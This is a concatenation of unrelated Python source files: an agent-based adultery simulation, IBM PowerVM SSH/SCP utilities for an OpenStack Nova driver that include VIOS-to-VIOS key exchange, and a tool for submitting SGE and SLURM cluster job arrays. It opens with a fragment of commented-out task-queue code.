taskQueueIndexDict[Do.KEY_TASK_EXECUTE_ID] == dataDict[Do.KEY_TASK_EXECUTE_ID]: # if taskQueueIndexDict[isCluster] == isClusterConf.notRun: # taskQueueIndexDict[isCluster] = isClusterConf.toCancel # taskQueueList[taskQueueIndex] = taskQueueIndexDict # break # taskQueueIndex += 1 # taskCancelQueueList.append(dataDict) # if Do.KEY_TASK_SUITE_EXECUTE_ID in dataDict.keys() and int(dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID]) != 0: # redisCache = RedisTool() # redisCache.initRedisConf() # try: # taskSuiteExecuteData = json.loads( # redisCache.get_data("%s_taskSuiteExecuteId_%s" % (dataDict[Do.TYPE_PROTOCOL],dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID]))) # except: # taskSuiteExecuteData = {"taskExecuteIdList": [], "execStatus": 1, "progress": 0} # taskSuiteExecuteData["execStatus"] = ExecStatus.CANCELED # redisCache.set_data("%s_taskSuiteExecuteId_%s" % (dataDict[Do.TYPE_PROTOCOL],dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID]), # json.dumps(taskSuiteExecuteData)) # cancelTaskSuite(dataDict) # logging.debug("startServer: 任务取消加入taskCancelQueue!") # # def typeTaskInitDone(dataDict,taskQueueList): # dataDict[isCluster] = isClusterConf.runTaskInitDone # taskQueueIndex = 0 # while taskQueueIndex < len(taskQueueList): # # for taskQueueIndex in range(0,len(taskQueueList)): # # try: # taskQueueIndexDict = taskQueueList[taskQueueIndex] # # except Exception: # # break # if taskQueueIndexDict[Do.KEY_TASK_EXECUTE_ID] == dataDict[Do.KEY_TASK_EXECUTE_ID] and taskQueueIndexDict[ # Do.TYPE_PROTOCOL] == dataDict[Do.TYPE_PROTOCOL]: # if taskQueueIndexDict[isCluster] == isClusterConf.runTcpSend: # taskQueueIndexDict[isCluster] = isClusterConf.runTaskInitDone # taskQueueList[taskQueueIndex] = taskQueueIndexDict # logging.info("任务%s 初始化完成" % dataDict[Do.KEY_TASK_EXECUTE_ID]) # break # taskQueueIndex += 1 # # def typeDebugInterface(dataDict,debugQueueList): # if dataDict[Do.TYPE_PROTOCOL] == Protocol.HTTP_PROTOCOL: # httpInterface = HttpInterface(interfaceDebugId=dataDict[Do.KEY_INTERFACE_DEBUG_ID]) # httpInterface.generateByInterfaceDebugId() # if httpInterface.execStatus != 1: # logging.info("没有查到接口调试信息interfaceDebugId[%s]" % dataDict[Do.KEY_INTERFACE_DEBUG_ID]) # else: # dataDict[isCluster] = isClusterConf.notRun # debugQueueList.append(dataDict) # elif dataDict[Do.TYPE_PROTOCOL] == Protocol.DUBBO_PROTOCOL: # dubboInterface = DubboInterface(interfaceDebugId=dataDict[Do.KEY_INTERFACE_DEBUG_ID]) # dubboInterface.generateByInterfaceDebugId() # if dubboInterface.execStatus != 1: # logging.info("没有查到接口调试信息interfaceDebugId[%s]" % dataDict[Do.KEY_INTERFACE_DEBUG_ID]) # else: # dataDict[isCluster] = isClusterConf.notRun # debugQueueList.append(dataDict) # # def typeDebugInterfaceDone(dataDict,serviceList,debugQueueList): # for debugIndex in range(0, len(debugQueueList)): # tmpDebugIndex = debugQueueList[debugIndex] # if Do.KEY_INTERFACE_DEBUG_ID in tmpDebugIndex.keys() and tmpDebugIndex[Do.KEY_INTERFACE_DEBUG_ID] == dataDict[ # Do.KEY_INTERFACE_DEBUG_ID] and tmpDebugIndex[Do.TYPE_PROTOCOL] == dataDict[Do.TYPE_PROTOCOL]: # tmpDebugIndex[isCluster] = isClusterConf.runDebugDone # debugQueueList[debugIndex] = tmpDebugIndex # break # # for serviceIndex in range(0,
<filename>simbdp3/adultery.py #!/usr/bin/python3 __version__ = '0.0.11' # Time-stamp: <2021-10-26T07:53:12Z> ## Language: Japanese/UTF-8 """Simulation Buddhism Prototype No.3 - Adultery 不倫関連 """ ## ## Author: ## ## JRF ( http://jrf.cocolog-nifty.com/statuses/ (in Japanese)) ## ## License: ## ## The author is a Japanese. ## ## I intended this program to be public-domain, but you can treat ## this program under the (new) BSD-License or under the Artistic ## License, if it is convenient for you. ## ## Within three months after the release of this program, I ## especially admit responsibility of efforts for rational requests ## of correction to this program. ## ## I often have bouts of schizophrenia, but I believe that my ## intention is legitimately fulfilled. ## import itertools import math import random import numpy as np import simbdp3.base as base from simbdp3.base import ARGS, Person0, Economy0, EconomyPlot0 from simbdp3.common import np_clip, np_random_choice, Adultery, Marriage class PersonAD (Person0): def adultery_charm (self): p = self if p.marriage is None: ma = 0 else: no_child_years = None if not p.marriage.children: no_child_years = (p.economy.term - p.marriage.begin) / 12 if no_child_years is None: ma = - 0.2 elif no_child_years < 5: x = np_clip(no_child_years, 3, 5) ma = ((-0.2 - 0) / (3 - 5)) \ * (x - 5) + 0 else: x = np_clip(no_child_years, 5, 8) ma = ((0.1 - 0) / (8 - 5)) \ * (x - 5) + 0 ma += - 0.1 * len(p.adulteries) if p.sex == 'M': suit = 0.2 * math.exp(- ((p.age - 24) / 5) ** 2) else: suit = 0.2 * math.exp(- ((p.age - 20) / 5) ** 2) if p.sex == 'M': pa = 0.1 * p.adult_success else: pa = 0.05 * p.adult_success if p.sex == 'M': ast = 0.3 * p.tmp_asset_rank else: if p.marriage is None and not p.adulteries: ast = 0 else: if p.marriage is not None: x = p.relative_spouse_asset(p.marriage) else: x = max(list(map(lambda a: p.relative_spouse_asset(a), p.adulteries))) if x >= 1.1: x = np_clip(x, 1.1, 3) ast = ((- 0.1 - 0) / (3 - 1.1)) * (x - 1.1) + 0 else: x = np_clip(x, 1/3, 1.1) ast = ((0.1 - 0) / (1/3 - 1.1)) * (x - 1.1) + 0 ed = -0.3 * p.education pr = -0.05 if p.in_priesthood() else 0 ij = -0.1 * p.injured return np_clip(ma + suit + pa + ast + ed + pr + ij, 0.0, 1.0) def adultery_favor (self, q): p = self if p.sex == 'M': ast = 1.5 * q.tmp_asset_rank * (2 * abs(p.education - 0.5) + (1 - p.tmp_asset_rank)) / 2 ed = 0.5 * q.education \ + 0.25 * math.exp(- ((q.education - 0.2 - p.education) / 0.2) ** 2) x = np_clip(p.age, 12, 60) t1 = ((5 - 2) / (60 - 12)) * (x - 12) + 2 t2 = ((10 - 2) / (60 - 12)) * (x - 12) + 2 t3 = ((7 - 2) / (60 - 12)) * (x - 12) + 2 same = math.exp(- ((q.age + t1 - p.age) / t2) ** 2) suit = math.exp(- ((q.age - 24) / t3) ** 2) if q.in_priesthood(): suit *= 0.8 ed2 = 1 if p.education < 0.5 else ((2 - 1) / 0.5)\ * (p.education - 0.5) + 1 age = max([ed2 * same, 2.5 * suit]) mar = -0.5 if p.marriage is None \ and q.marriage is not None else 0 ht = -2.0 * p.hating[q.id] if q.id in p.hating else 0 jl = -1.0 if q.in_jail() else 0 ij = -0.5 * q.injured else: ed1 = 0 if p.education > 0.5 else (0.5 - p.education) / 0.5 ast = 3 * q.tmp_asset_rank * (ed1 + (1 - p.tmp_asset_rank)) / 2 ed = 1 * q.education \ + 0.25 * math.exp(- ((q.education + 0.2 - p.education) / 0.2) ** 2) x = np_clip(p.age, 12, 60) t1 = ((5 - 2) / (60 - 12)) * (x - 12) + 2 t2 = ((10 - 2) / (60 - 12)) * (x - 12) + 2 t3 = ((7 - 2) / (60 - 12)) * (x - 12) + 2 same = math.exp(- ((q.age - t1 - p.age) / t2) ** 2) suit = math.exp(- ((q.age - 20) / t3) ** 2) if q.in_priesthood(): suit *= 0.8 ed2 = 1.5 if p.education < 0.5 else ((2.5 - 1.5) / 0.5)\ * (p.education - 0.5) + 1.5 age = max([ed2 * same, 2 * suit]) mar = -1 if p.marriage is None and q.marriage is not None else 0 ht = -2.0 * p.hating[q.id] if q.id in p.hating else 0 jl = -1.0 if q.in_jail() else 0 ij = -0.5 * q.injured return ed + ast + age + mar + ht + jl + ij + 4 * q.tmp_luck def adultery_separability (self, adultery): p = self a = adultery economy = p.economy years = (economy.term - a.begin) / 12 x = np_clip(years, 0, 3) q = ((0.1 - 1) / (3 - 0)) * (x - 0) + 1 hating = 0 rel_favor = 0 if a.spouse != '' and economy.is_living(a.spouse): s = economy.people[a.spouse] if p.id in s.hating: hating = s.hating[p.id] rel_favor = p.adultery_favor(s) - a.init_favor rel_favor = np_clip(rel_favor, -5, 5) ch = 0.5 if a.children else 1 ht = 1 + hating x = rel_favor if x > 0: fv = ((0.5 - 1) / (5 - 0)) * (x - 0) + 1 else: fv = ((2 - 1) / (-5 - 0)) * (x - 0) + 1 q = np_clip(q * ch * ht * fv, 0.05, 1) return q ** ARGS.adultery_separability_mag class EconomyPlotAD (EconomyPlot0): def __init__ (self): super().__init__() self.options.update({ 'adulteries': ('Adulteries', self.view_adulteries), 'adultery-separability': ('Ad Separability', self.view_adultery_separability), 'adultery-age-vs-years': ('Adultery age vs years', self.view_adultery_age_vs_years) }) def view_adultery_age_vs_years (self, ax, economy): m1 = [] m2 = [] for p in economy.people.values(): for a in p.adulteries: m1.append(p.age - ((economy.term - (a.true_begin or a.begin)) / 12)) m2.append((economy.term - (a.true_begin or a.begin)) / 12) ax.scatter(m1, m2, c="pink", alpha=0.5) def view_adulteries (self, ax, economy): m = [] f = [] for p in economy.people.values(): if p.adulteries: m.append(len(p.adulteries)) if p.sex == 'F': f.append(len(p.adulteries)) ax.hist(m, bins=ARGS.bins) print("Adulteries: %d %d" % (len(m), sum(m))) #print("Female Adulteries: %d %d" % (len(f), sum(f))) def view_adultery_separability (self, ax, economy): x = [] l = [] for p in economy.people.values(): for a in p.adulteries: x.append((economy.term - (a.true_begin or a.begin)) / 12) l.append(p.adultery_separability(a)) ax.scatter(x, l, c="pink", alpha=0.5) def choose_from_districts (m_district, f_district, m_choice_nums, f_choice_nums, external_rate_m, external_rate_f, duplicate=True): districts = len(m_district) assert districts == len(f_district) assert districts == len(m_choice_nums) assert districts == len(f_choice_nums) len_m_district = list(map(len, m_district)) len_f_district = list(map(len, f_district)) am = m_choice_nums af = f_choice_nums qm = [[0] * districts for i in range(districts)] qf = [[0] * districts for i in range(districts)] for district in range(districts): aem = int(math.ceil(am[district] * external_rate_m)) aef = int(math.ceil(af[district] * external_rate_f)) lm1 = len_m_district[0:district] \ + len_m_district[district + 1:districts] s_lm1 = sum(lm1) lf1 = len_f_district[0:district] \ + len_f_district[district + 1:districts] s_lf1 = sum(lf1) for i in range(districts): if i != district: qm[district][i] = int(math.floor(aem * len_m_district[i] / s_lm1)) qf[district][i] = int(math.floor(aef * len_f_district[i] / s_lf1)) for i in range(districts): qm[i][i] = am[i] - sum(qm[i]) qf[i][i] = af[i] - sum(qf[i]) qmt = np.array(qm).T qft = np.array(qf).T rm = [[[] for j in range(districts)] for i in range(districts)] rf = [[[] for j in range(districts)] for i in range(districts)] for district in range(districts): l1 = [] l2 = [] for p in m_district[district]: q = p.tmp_score if q < 0.02: q = 0.02 while q > 0: l1.append(p) l2.append(q) if duplicate: q = q - 0.1 else: q = 0 l2 = np.array(l2).astype(np.longdouble) l3 = np_random_choice(l1, size=sum(qmt[district]), replace=False, p=l2/np.sum(l2)) random.shuffle(l3) x = 0 for i in range(districts): rm[i][district] = l3[x:x + qmt[district][i]] x += qmt[district][i] l1 = [] l2 = [] for p in f_district[district]: q = p.tmp_score if q < 0.02: q = 0.02 while q > 0: l1.append(p) l2.append(q) if duplicate: q = q - 0.1 else: q =
<reponame>windskyer/k_nova<filename>paxes_nova/virt/ibmpowervm/ivm/common.py<gh_stars>0 # # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import os import uuid import paramiko import pexpect import time from paxes_nova import _ from nova.openstack.common import log as logging from nova.openstack.common.lockutils import synchronized from nova.openstack.common import processutils from oslo.config import cfg from paramiko import SSHException from paxes_nova.virt.ibmpowervm.common.connection import SSHConnection from paxes_nova.virt.ibmpowervm.ivm import constants from paxes_nova.virt.ibmpowervm.ivm import exception LOG = logging.getLogger(__name__) ibmpowervm_opts = [ cfg.IntOpt('ibmpowervm_ssh_cmd_retry_num', default=2, help='Number of retries when SSH errors are encountered.'), cfg.IntOpt('ibmpowervm_odm_cmd_retry_num', default=1, help='Number of retries when odm errors are encountered.') ] CONF = cfg.CONF CONF.register_opts(ibmpowervm_opts) # Maximum wait time to complete the transfer # Using 999999 as the image file taking more than 2hours # if paxes and host are in different subnet MAX_TRANSFER_TIME = 999999 class Connection(object): def __init__(self, host, username, password, port=22, keyfile=None): self.host = host self.username = username self.password = password self.port = port self.keyfile = keyfile def ssh_connect(connection): """Method to connect to remote system using ssh protocol. :param connection: a Connection object. :returns: paramiko.SSHClient -- an active ssh connection. :raises: PowerVMConnectionFailed """ try: ssh = SSHConnection(connection.host, connection.port, connection.username, connection.password, connection.keyfile, constants.IBMPOWERVM_CONNECTION_TIMEOUT, CONF.ibmpowervm_known_hosts_path) ssh.open_connection() # send TCP keepalive packets every 20 seconds ssh.set_keep_alive(20) return ssh except Exception: LOG.exception(_('SSH Connection error while connection to host')) raise exception.IBMPowerVMConnectionFailed() def check_connection(conn): transport = conn.get_transport() conn_data = conn.conn_data try: # if we have a dead connection # build a new one and return if (not transport) or (not transport.is_active()): conn = ssh_connect(conn_data) conn.conn_data = conn_data except Exception: # try to make a connection still time.sleep(5) conn = ssh_connect(conn_data) conn.conn_data = conn_data return conn def ssh_command_as_root(ssh_connection, cmd, check_exit_code=True): """Method to execute remote command as root. :param connection: an active paramiko.SSHClient connection. :param command: string containing the command to run. :returns: Tuple -- a tuple of (stdout, stderr) :raises: processutils.ProcessExecutionError """ LOG.debug('Running cmd (SSH-as-root): %s' % cmd) chan = ssh_connection.open_session() # This command is required to be executed # in order to become root. chan.exec_command('oem_setup_env') bufsize = -1 stdin = chan.makefile('wb', bufsize) stdout = chan.makefile('rb', bufsize) stderr = chan.makefile_stderr('rb', bufsize) # We run the command and then call 'exit' to exit from # super user environment. stdin.write('%s\n%s\n' % (cmd, 'exit')) stdin.flush() exit_status = chan.recv_exit_status() # Lets handle the error just like processutils.ssh_execute does. if exit_status != -1: LOG.debug('Result was %s' % exit_status) if check_exit_code and exit_status != 0: # TODO(mikal): I know this is weird, but it needs to be consistent # with processutils.execute. I will move this method to oslo in # a later commit. raise processutils.ProcessExecutionError(exit_code=exit_status, stdout=stdout, stderr=stderr, cmd=''.join(cmd)) return (stdout, stderr) def scp_command(connection, local_path, remote_path, scp_operation): """Method to transfer a file via scp command. :param connection: a Connection object. :param local_path: path to source file If scp_operation='put' path to destination If scp_operation='get' :param remote_path: path to destination If scp_operation='put' path to source file If scp_operation='get' :param scp_operation: operation to perform (PUT or GET) :raises: IBMPowerVMSCPTransferFailed """ try: scp_cmd = '/usr/bin/scp -o StrictHostKeyChecking=yes' + \ ' -o PubkeyAuthentication=no' + \ ' -o UserKnownHostsFile=%s' % CONF.ibmpowervm_known_hosts_path if scp_operation.lower() == 'put': scp_cmd = '{0} {4} {1}@{2}:{3}'.format(scp_cmd, connection.username, connection.host, remote_path, local_path) elif scp_operation.lower() == 'get': scp_cmd = '{0} {1}@{2}:{3} {4}'.format(scp_cmd, connection.username, connection.host, remote_path, local_path) p = pexpect.spawn(scp_cmd) result = p.expect(['[pP]assword:', pexpect.EOF]) if result == 0: p.sendline(connection.password) p.expect(pexpect.EOF, timeout=MAX_TRANSFER_TIME) elif result == 1: msg = _("Error:Connection to {0} " "host is timed out".format(connection.host)) LOG.error(msg) raise Exception(msg) else: msg = _("Error:Failed to connect to host {0} " "host".format(connection.host)) raise Exception(msg) except pexpect.TIMEOUT: p.close() msg = _("File could not be transferred within the time") raise exception.IBMPowerVMSCPTransferFailed(source_path=local_path, dest_path=remote_path, error_msg=msg) except Exception as e: LOG.error(_('File transfer to PowerVM manager failed')) raise exception.IBMPowerVMSCPTransferFailed(source_path=local_path, dest_path=remote_path, error_msg=e) def aix_path_join(path_one, path_two): """Ensures file path is built correctly for remote UNIX system :param path_one: string of the first file path :param path_two: string of the second file path :returns: a uniform path constructed from both strings """ if path_one.endswith('/'): path_one = path_one.rstrip('/') if path_two.startswith('/'): path_two = path_two.lstrip('/') final_path = path_one + '/' + path_two return final_path def ssh_command(connection, command, log_warning=True): """ Method to execute command to remote system using ssh protocol. It support both password and key authentication :param connection: An active ssh connection :param command: Command text to execute :returns: List of lines returned on stdout """ def _exec_ssh_cmd(): """ This method is created to allow retry within the ssh_command. It also check for odm commands and synchronize it """ # check if the command is an ODM command if 'ioscli' in command: # conn_data = connection.conn_data host = connection.get_hostname() @synchronized(host, 'pvm-odm-lock') def _run_odm_commands(host): # declare the varibles cmdin, cmdout, cmderr = None, None, None for odm_retries in range(CONF.ibmpowervm_odm_cmd_retry_num): cmdin, cmdout, cmderr = connection.exec_command(command) if cmderr: # if cmderr contains 0514-516 or retry # it means that Device configuration database lock # service timed out. Please retry the command later if (any('0514-516' in err for err in cmderr) or any('Please retry the command later' in err for err in cmderr)): if(odm_retries < CONF.ibmpowervm_odm_cmd_retry_num): time.sleep(30) continue return cmdin, cmdout, cmderr return cmdin, cmdout, cmderr stdin, stdout, stderr = _run_odm_commands(host) else: stdin, stdout, stderr = connection.exec_command(command) output = stdout.read().splitlines() err_output = stderr.read().splitlines() LOG.debug("SSH command [%(command)s] returned stdout: %(output)s " "stderr: %(err_output)s" % locals()) if err_output and log_warning: LOG.warn(_("Command %(command)s returned with stderr: " "%(err_output)s") % locals()) return (output, err_output) # connection = check_connection(connection) try: LOG.debug("Running cmd: %s" % command) for num_retries in range(CONF.ibmpowervm_ssh_cmd_retry_num): if num_retries > 0: LOG.debug("SSH command retried %(num_retries)s with command " "%(command)s" % locals()) try: return _exec_ssh_cmd() except SSHException as ssh_ex: try: LOG.exception(_("Error while running a cmd: %s") % ssh_ex) except Exception: LOG.exception(_("Error logging exception %(e_class)s " "while running command %(command)s") % ({'e_class': ssh_ex.__class__.__name__, 'command': command})) LOG.debug("SSH command retried and failed with command %s" % command) except Exception as e: # if there is issue converting the exception to string # log the exception class try: LOG.exception(_("Error while running a cmd: %s") % e) except Exception: LOG.exception(_("Error logging exception %(e_class)s " "while running command %(command)s") % ({'e_class': e.__class__.__name__, 'command': command})) def ssh_interactive(connection, commands): """ Method to execute remote commands interactively. Returns a list with the commands outputs :param disk: An active ssh connection :param commands: List of commands """ try: first_command = commands.pop(0) stdin, stdout, stderr = connection.exec_command(first_command) remainder_cmds = '\n'.join(commands) + '\n' LOG.debug("Running cmd: %s" % remainder_cmds) stdin.write(remainder_cmds) stdin.flush() output = stdout.read().splitlines() LOG.debug("stdout: %s stderr: %s" % (output, stderr.read().splitlines())) return output except Exception as e: LOG.exception(_("Error while running a cmd: %s") % e) def ensure_vios_to_vios_auth(source, dest_conn_info, conn_info): """Method allowing for SSH between VIOS partitions It builds an SSH key on the source host, put the key into the authorized_keys on the destination host. :param source: source IP or DNS name :param dest_conn_info: dictionary object with SSH connection information for target host :param conn_info: dictionary object with SSH connection information for source host """ keypair_uuid = <KEY>() src_conn_obj = ssh_connect(conn_info) src_conn_obj.conn_data = conn_info dest_conn_obj = ssh_connect(dest_conn_info) dest_conn_obj.conn_data = dest_conn_info def run_as_root(conn_obj, cmd): cmds = ['oem_setup_env', cmd, 'exit'] return ssh_interactive(conn_obj, cmds) def build_keypair_on_source(): # Check whether id_rsa key files already exists ls_rsa = 'ls ~/.ssh/id_rsa ~/.ssh/id_rsa.pub' rsa_out, rsa_err = ssh_command(src_conn_obj, ls_rsa) if rsa_err: mkkey = ('ssh-keygen -f ~/.ssh/id_rsa -N "" -C %s' % keypair_uuid.hex) # make sure the id_rsa files are owned by user chown_cmd = ('chown %s ~/.ssh/id_rsa*' % conn_info.username) ssh_key_cmds = '%(mkkey)s; %(chown_cmd)s' % locals() run_as_root(src_conn_obj, ssh_key_cmds) cat_key = 'cat ~/.ssh/id_rsa.pub' pubkey_out, err_out = ssh_command(src_conn_obj, cat_key) return pubkey_out[0] def insert_into_authorized_keys(public_key): echo_key = 'echo "%s" >> ~/.ssh/authorized_keys' % public_key run_as_root(dest_conn_obj, echo_key) def check_for_ssh_auth(): """ Test whether key exchange already completed to the target """ mkauthkeys = ('mkauthkeys --test -u %s --ip %s' % (dest_conn_info.username, dest_conn_info.host)) output, err_out =
#!/usr/bin/env python3 """Tools to submit multiple jobs to the cluster. """ # Copyright 2021 jhauschild, MIT License # I maintain this file at https://github.com/jhauschild/cluster_jobs in multi_yaml/ # requires Python >= 3.5 import pickle import subprocess import os import sys import warnings import importlib from pprint import pprint, PrettyPrinter import itertools from collections.abc import Mapping from copy import deepcopy import sys from io import StringIO # -------------------------------------- # Classes for Tasks # -------------------------------------- class Task(object): """Abstract base class for a task ("simulation") to be run with a given set of parameters.""" def run(self, parameters): """Run the task once for a given set of `parameters`.""" print("This is an execution of a (dummy-)task with the following parameters:") print(parameters) class CommandCall(Task): """Call a Command with given arguments.""" def __init__(self, command): self.command = command def run(self, parameters): cmd = [self.command] + parameters print("call", ' '.join(cmd)) res = subprocess.call(cmd) if res > 0: raise ValueError("Error while running command " + ' '.join(cmd)) def __repr__(self): return "CommandCall({0!r})".format(' '.join(self.command)) class PythonFunctionCall(Task): """Task calling a specific python function of a given module.""" def __init__(self, module, function, extra_imports=None): self.module = module self.function = function self.extra_imports = extra_imports def run(self, parameters): if self.extra_imports is not None: for module in self.extra_imports: print('import ', module) importlib.import_module(module) mod = importlib.import_module(self.module) fct = mod for subpath in self.function.split('.'): fct = getattr(fct, subpath) fct(**parameters) def __repr__(self): return "PythonFunctionCall({0!r}, {1!r}, {2!r})".format(self.module, self.function, self.extra_imports) class TaskArray(object): """The same task to be run multiple times with different parameters. We define the `task_id` to start from 1 instead of 0, since cluster engines like SGE and SLURM support that better. To avoid having to subtract/add 1 to the task_id each time, we just include a `None` entry at the very beginning of `self.task_parameters`, such that ``self.task_parameters[1]`` is the first defined set of parameters for `task_id` 1. """ task_types = { 'Task': Task, 'CommandCall': CommandCall, 'PythonFunctionCall': PythonFunctionCall } def __init__(self, task, task_parameters, filter_task_ids=None, verbose=False, output_filename_keys=['output_filename'], **kwargs): if isinstance(task, dict): task_args = task.copy() type_ = task_args.pop('type') TaskClass = self.task_types[type_] task = TaskClass(**task_args) self.task = task self.task_parameters = [None] + list(task_parameters) if filter_task_ids is not None: self.task_parameters = [None] + [self.task_parameters[i] for i in filter_task_ids] self.verbose = verbose self.output_filename_keys = output_filename_keys @property def N_tasks(self): return len(self.task_parameters) - 1 @property def task_ids(self): return range(1, len(self.task_parameters)) def run_local(self, task_ids=None, parallel=1, only_missing=False): """Run the tasks for the specified task_ids locally.""" if task_ids is None: task_ids = self.task_ids if only_missing: task_ids = [i for i in self.task_ids if self.is_missing_output(i)] if parallel == 1: for task_id in task_ids: self.run_task(task_id) elif parallel > 1: from multiprocessing import Pool pool = Pool(parallel) pool.map(self.run_task, task_ids) else: raise ValueError("parallel={0!r} doesn't make sense!".format(parallel)) def run_task(self, task_id): if task_id == 0: raise ValueError("`task_id` starts counting at 1!") parameters = self.task_parameters[task_id] self.task.run(parameters) def task_ids_missing_output(self, keys=None): """Return task_ids for which there is no output file.""" if keys is None: keys = self.output_filename_keys result = [] for task_id in self.task_ids: if task_id == 0: continue if self.is_missing_output(task_id, keys): result.append(task_id) return result def is_missing_output(self, task_id, keys=None): if keys is None: keys = self.output_filename_keys for key in keys: parameters = self.task_parameters[task_id] output_filename = parameters[key] if not os.path.exists(output_filename): return True return False def __repr__(self): res = StringIO() res.write(self.__class__.__name__ + "\n") pp = PrettyPrinter(stream=res) config = self.__dict__.copy() del config['task_parameters'] pp.pprint(config) return res.getvalue()[:-1] # -------------------------------------- # Classes for cluster jobs # that setup scripts # -------------------------------------- class JobConfig(TaskArray): source_dir = os.path.dirname(os.path.abspath(__file__)) script_templates_dir = os.path.join(source_dir, "cluster_templates") def __init__(self, jobname="MyJob", requirements={}, options={}, script_template="run.sh", config_filename_template="{jobname}.config.pkl", script_filename_template="{jobname}.run.sh", **kwargs): self.jobname = jobname self.requirements = requirements self.options = options self.script_template = script_template self.config_filename_template = config_filename_template self.script_filename_template = script_filename_template super(JobConfig, self).__init__(**kwargs) @classmethod def expand_from_config(cls, **config): job_config = config['job_config'].copy() task_parameters = config.copy() if job_config.get('remove_this_section', True): del task_parameters['job_config'] task_parameters = expand_parameters(task_parameters, **job_config.get('change_parameters', {})) job_config['task_parameters'] = task_parameters self = cls(**job_config) self.expanded_from = config self.config_filename_template = self.config_filename_template[:-3] + 'yml' return self def submit(self): """Submit the task tasks for the specified task_ids locally.""" self.options['task_id'] = "$TASK_ID" script_file = self.prepare_submit() for task_id in self.task_ids: os.environ['TASK_ID'] = str(task_id) cmd = ['/usr/bin/env', 'bash', script_file] res = subprocess.call(cmd) if res > 0: raise ValueError("Error while running command " + ' '.join(cmd)) # done def prepare_submit(self): config_file, script_file = self.unique_filenames() self.write_config_file(config_file) self.update_requirements() self.create_script(script_file, config_file) return script_file def unique_filenames(self): """Find a unique filenames for the config and the script by adjusting the `jobname`.""" filename_templates = [self.config_filename_template, self.script_filename_template] jobname = self.jobname check_jobnames = [jobname] + [jobname + '_{i:02}'.format(i=i) for i in range(100)] for jobname in check_jobnames: formated_filenames = [fn.format(jobname=jobname) for fn in filename_templates] if not any([os.path.exists(fn) for fn in formated_filenames]): break else: # no break raise ValueError("Can't find unique filenames for config. Clean up!") self.jobname = jobname return formated_filenames def write_config_file(self, filename): """Write the config to file `filename`.""" if self.N_tasks == 0: raise ValueError("No task parameters scheduled") print("Write job config with {0:d} tasks to {1!r}".format(self.N_tasks, filename)) if filename.endswith('.pkl'): with open(filename, 'wb') as f: pickle.dump(self, f, protocol=2) # use protocol 2 to still support Python 2 elif filename.endswith('.yml'): import yaml with open(filename, 'w') as f: yaml.dump(self.expanded_from, f, sort_keys=False) else: raise ValueError("Don't recognise filetype of config filename " + repr(filename)) def read_script_template(self): filename = os.path.join(self.script_templates_dir, self.script_template) with open(filename, 'r') as f: text = f.read() return text def update_requirements(self): self.options['task_id'] = "$TASK_ID" def create_script(self, script_file, config_file): script = self.read_script_template() o = self.options o.update() o['jobname'] = self.jobname o['config_file'] = config_file o.setdefault('cluster_jobs_module', __file__) o.setdefault('environment_setup', "") o.setdefault('N_tasks', self.N_tasks) requirements_lines = [] for key, value in self.requirements.items(): requirements_lines.append(self.get_requirements_line(key, value)) key = key.replace('-', '_').replace(' ', '_') # try to convert to identifier o[key] = value o['requirements'] = '\n'.join(requirements_lines).format(**o) script = script.format(**o) with open(script_file, 'w') as f: f.write(script) def get_requirements_line(self, key, value): return "#REQUIRE {key}={value}".format(key=key, value=value) class SGEJob(JobConfig): def __init__(self, requirements_sge={}, **kwargs): self.requirements_sge = requirements_sge kwargs.setdefault('script_template', "sge.sh") kwargs.setdefault('script_filename_template', "{jobname}.sge.sh") super(SGEJob, self).__init__(**kwargs) def submit(self): if self.N_tasks > 1000: raise ValueError("Refuse to submit {0:d} tasks at once.".format(self.N_tasks)) script_file = self.prepare_submit() cmd_submit = ['qsub', script_file] print(' '.join(cmd_submit)) subprocess.call(cmd_submit) def update_requirements(self): o = self.options r = self.requirements r.update(self.requirements_sge) if self.N_tasks == 1: o['task_id'] = 1 else: r.setdefault('t', '1-{N_tasks:d}') o['task_id'] = "$SGE_TASK_ID" if o.setdefault("cores_per_task", 4) > 1: r.setdefault('pe smp', "{cores_per_task:d}") r.setdefault('R', "y") def get_requirements_line(self, key, value): return "#$ -{key} {value}".format(key=key, value=value) class SlurmJob(JobConfig): def __init__(self, requirements_slurm={}, **kwargs): self.requirements_slurm = requirements_slurm kwargs.setdefault('script_template', "slurm.sh") kwargs.setdefault('script_filename_template', "{jobname}.slurm.sh") super(SlurmJob, self).__init__(**kwargs) def submit(self): if self.N_tasks > 1000: raise ValueError("Refuse to submit {0:d} tasks at once.".format(self.N_tasks)) script_file = self.prepare_submit() cmd_submit = ['sbatch', script_file] print(' '.join(cmd_submit)) subprocess.call(cmd_submit) def update_requirements(self): o = self.options r = self.requirements r.update(self.requirements_slurm) if self.N_tasks == 1: o['task_id'] = 1 else: r.setdefault('array', '1-{N_tasks:d}') o['task_id'] = "$SLURM_ARRAY_TASK_ID" def get_requirements_line(self, key, value): return "#SBATCH --{key}={value}".format(key=key, value=value) job_classes = {'TaskArray': TaskArray, 'JobConfig': JobConfig, 'SGEJob': SGEJob, 'SlurmJob': SlurmJob} # -------------------------------------- # Function to parse command line args # -------------------------------------- # get_recursive, set_recursive, and merge_recursive are as defined in `tenpy.tools.misc`; # but copy-pasted here to avoid import errors when TeNpy is not installed _UNSET = object() # sentinel def get_recursive(nested_data, recursive_key, separator=".", default=_UNSET): """Extract specific value from a nested data structure. Parameters ---------- nested_data : dict of dict (-like) Some nested data structure supporting a dict-like interface. recursive_key : str The key(-parts) to be extracted, separated by `separator`. A leading `separator` is ignored. separator : str Separator for splitting `recursive_key` into subkeys. default : If not specified, the function raises a `KeyError` if the recursive_key is invalid. If given, return this value when any of the nested dicts does not contain the subkey. Returns ------- entry : For example, ``recursive_key="some.sub.key"`` will result in extracing ``nested_data["some"]["sub"]["key"]``. See also -------- set_recursive : same for changing/setting a value. """ if recursive_key.startswith(separator): recursive_key = recursive_key[len(separator):] if not recursive_key: return nested_data # return the original data if recursive_key is just "/" for subkey in recursive_key.split(separator): if default is not _UNSET and subkey not in nested_data: return default nested_data = nested_data[subkey] return nested_data def set_recursive(nested_data, recursive_key, value, separator=".", insert_dicts=False): """Same as :func:`get_recursive`, but set the data entry to `value`.""" if recursive_key.startswith(separator): 